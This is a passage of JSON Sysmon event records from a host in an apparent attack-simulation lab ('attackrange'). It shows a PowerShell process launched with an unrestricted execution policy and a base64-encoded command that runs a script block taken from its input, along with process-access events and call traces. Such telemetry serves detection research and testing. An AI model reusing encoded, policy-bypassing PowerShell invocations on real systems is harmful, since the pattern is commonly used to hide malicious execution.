bADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.385","ProcessGuid":"{90617006-413F-5F2D-0000-0010178E0600}","Image":"C:\\Windows\\System32\\chcp.com","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Change CodePage Utility","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"CHCP.COM","CommandLine":"\"C:\\Windows\\system32\\chcp.com\" 65001","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413F-5F2D-0000-0020D2720600}","LogonId":"0x672d2","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD","ParentProcessGuid":"{90617006-413F-5F2D-0000-001069820600}","ParentProcessId":"4248","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4570,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.381\r\nSourceProcessGUID: {90617006-413F-5F2D-0000-001069820600}\r\nSourceProcessId: 4248\r\nSourceThreadId: 4828\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-0010178E0600}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b6749e4b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5beaf25|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5beabf6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b669c00b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5bab78c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5c09c5b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5bed2c0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5bed2c0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5bed151|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5bdf0d6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5beb609|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5beb1fc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5beaf25|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5beabf6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b669c00b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5bd1a57|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5bd1027","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.381","SourceProcessGUID":"{90617006-413F-5F2D-0000-001069820600}","SourceProcessId":"4248","SourceThreadId":"4828","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-0010178E0600}","TargetProcessId":"2664","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b6749e4b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5beaf25|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5beabf6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b669c00b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5bab78c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5c09c5b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5bed2c0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5bed2c0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5bed151|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5bdf0d6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5beb609|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5beb1fc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5beaf25|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5beabf6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b669c00b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5bd1a57|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+b5bd1027","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4571,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.381\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-0010178E0600}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Windows\\system32\\chcp.com\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.381","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-0010178E0600}","TargetProcessId":"2664","TargetImage":"C:\\Windows\\system32\\chcp.com","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4572,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.381\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.381","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4573,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.381\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.381","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4574,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.381\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.381","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4575,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.381\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.381","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4576,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.381\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 